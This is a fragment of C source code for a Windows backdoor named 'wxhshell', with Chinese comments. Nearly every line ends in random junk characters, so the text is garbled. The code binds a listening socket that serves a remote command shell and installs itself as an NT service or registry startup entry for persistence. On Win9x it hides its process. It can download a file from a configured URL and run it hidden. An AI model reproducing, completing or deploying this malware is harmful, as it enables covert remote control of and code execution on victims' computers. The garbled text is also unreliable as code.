ULONG InheritedFromUniqueProcessId; 2&(sa0*y
} PROCESS_BASIC_INFORMATION; ?/#}ZZK^
[IBQvL
PROCNTQSIP NtQueryInformationProcess; yubSj*
%:C ]7gQ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r64u31.)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !
T9]/H?
E@)\Lc~
HANDLE hProcess; C*70;:b
PROCESS_BASIC_INFORMATION pbi; dKhA$f~
9h,u6e
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5_o$<\I\
if(NULL == hInst ) return 0; ./-JbW
}ynT2a#LU'
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J{"kw1Lu
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b!>\2DlyJ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .w?
.ib(
s4= "kT]
if (!NtQueryInformationProcess) return 0; 0Fr1Ku!
in%;Eqk
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rnm03 '{
if(!hProcess) return 0; 9l/EjF^
q 2?X"!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6vzk\n
)hKS0`$|
CloseHandle(hProcess); } /^C|iS7
q" @
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `cB_.&
if(hProcess==NULL) return 0; 748CD{KxW
uZ6d35MJ
HMODULE hMod; mz7l'4']+
char procName[255]; wwd'0P`/
unsigned long cbNeeded; 2h^WYpCm
e&It
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rJfqA@
- 0HkT Y
CloseHandle(hProcess); uV6g[J
(X[2TT3j!
if(strstr(procName,"services")) return 1; // 以服务启动 "i)Yvh[y
do/)~9[4\
return 0; // 注册表启动 "E!mva*NU
} N1EezC'^
f`<FT'A
// 主模块 b%(6EiUA
int StartWxhshell(LPSTR lpCmdLine) Zy"=y+e!E;
{ tB(4Eq
\
SOCKET wsl; f>Td)s1
M
BOOL val=TRUE; uYO|5a<f~
int port=0; rjA@U<o
struct sockaddr_in door; 1' w:`/_
/!FWuRe^
if(wscfg.ws_autoins) Install(); Xo5$X7m
h\[\\m
O
port=atoi(lpCmdLine); AD5)
.}[F
WPuz]Ty
if(port<=0) port=wscfg.ws_port; /)|X.D
v@
C,RP9
WSADATA data; 7()?C}Ni-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]n1dp2aH
mPZGA\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3C>qh{z"
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JHV)ZOO
door.sin_family = AF_INET; &M&{yc*%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &rq{v!=7
door.sin_port = htons(port); i\}:hU-U
iAO5"(>}?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `|e!Kq?#Q
closesocket(wsl); IfdI|ya
return 1; d 4{FDqto
} h=VqxGC&
dXvt6kF
if(listen(wsl,2) == INVALID_SOCKET) { 4)-)# `K
closesocket(wsl); yOXO)u1n
return 1; Q'NmSX)0
} K\!#4>yd
Wxhshell(wsl); C*Vd -U
WSACleanup(); l)8&Ip
<+`(\
return 0; ReB7vpd
F}?<v8#z0
} x4?10f(9=
,32xcj}j)r
// 以NT服务方式启动 f|3q^wjs
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N_wp{4 0/
{ C9tb \?#
DWORD status = 0; @|-OJ4[5
DWORD specificError = 0xfffffff; Qc-(*}
E$\~lcq
serviceStatus.dwServiceType = SERVICE_WIN32; 8^ep/ b&|
serviceStatus.dwCurrentState = SERVICE_START_PENDING; &k>aP0k"
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `$;+g ,
serviceStatus.dwWin32ExitCode = 0; nL`9l1
serviceStatus.dwServiceSpecificExitCode = 0; 3 x*z\VJ
serviceStatus.dwCheckPoint = 0; 0~A#>R'
serviceStatus.dwWaitHint = 0; eb:A1f4L
u</8w&!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I+?hG6NM
if (hServiceStatusHandle==0) return; rs8\)\z
B&KL2&Z~Pq
status = GetLastError(); {ShgJ;! Q
if (status!=NO_ERROR) mB 55PYA
{ 3Kq`<B~%
serviceStatus.dwCurrentState = SERVICE_STOPPED; \ {|ImCH
serviceStatus.dwCheckPoint = 0; T|4snU2M
serviceStatus.dwWaitHint = 0; Z|6{T
serviceStatus.dwWin32ExitCode = status;
!rL<5L
serviceStatus.dwServiceSpecificExitCode = specificError; kEN#u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %CH6lY=lI
return; ]?l{j
} O12Q8Oj!0
@"87F{!
serviceStatus.dwCurrentState = SERVICE_RUNNING; H'g?llh1J
serviceStatus.dwCheckPoint = 0; 4cgIEw[6
serviceStatus.dwWaitHint = 0; 0irr7Y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4*H"Z(HP
} >%%=0!,yX
-$k>F#
// 处理NT服务事件,比如:启动、停止 xF8S*,#,*
VOID WINAPI NTServiceHandler(DWORD fdwControl) I}0_nge
{ _9If/RD
switch(fdwControl) j'rS&BIG
{ m2bDHQ+
case SERVICE_CONTROL_STOP: ur%$aX)
serviceStatus.dwWin32ExitCode = 0; y;`eDS'0.N
serviceStatus.dwCurrentState = SERVICE_STOPPED; wz(K*FP
serviceStatus.dwCheckPoint = 0; 440FhDMj
serviceStatus.dwWaitHint = 0; p]|LV)R n
{ *o?i:LE]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fz"ff4Bx [
} /XpSe<3
return; C3 ;[e0.1b
case SERVICE_CONTROL_PAUSE: UZxmhsv
serviceStatus.dwCurrentState = SERVICE_PAUSED; [~%`N*G
break; &w\I<J`T
case SERVICE_CONTROL_CONTINUE: yXfMzG
serviceStatus.dwCurrentState = SERVICE_RUNNING; :hqZPajE
break; V0i9DK|!
case SERVICE_CONTROL_INTERROGATE: G?)vWM`j
break; .Ao0;:;(2-
}; MK$Jj"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ';YgG<u
} D'i6",Z>
=:7$/T'Qg
// 标准应用程序主函数 Eu<r$6Q0}o
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {w5Z7s0
{ $[CA&Y.
;)/@Xx
// 获取操作系统版本 V|?WF&
OsIsNt=GetOsVer(); g`Md80*Zfk
GetModuleFileName(NULL,ExeFile,MAX_PATH); 00<{:
>M4"|W U_
// 从命令行安装 HtBF=Boq
if(strpbrk(lpCmdLine,"iI")) Install(); 4<gJ2a3
f\o
R:%
// 下载执行文件 /&s}<BMHU
if(wscfg.ws_downexe) { Y`li> .\
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >)Dhi+D
WinExec(wscfg.ws_filenam,SW_HIDE); ,;iA2
} zB)%lb
s (PY/{8
if(!OsIsNt) { >;lKLGJrd>
// 如果时win9x,隐藏进程并且设置为注册表启动 zG%
|0
HideProc(); vA>W9OI
StartWxhshell(lpCmdLine); ,b.n{91[]x
} wh6&>m#r
else GW
m4~]0E
if(StartFromService()) _wu*M
// 以服务方式启动 P[i\e7mR
StartServiceCtrlDispatcher(DispatchTable); 2P}I'4C-
else |rPAC![=
// 普通方式启动 `BT^a
=5
StartWxhshell(lpCmdLine); )U98
ww,Z )m
return 0; RaNeZhF>M
}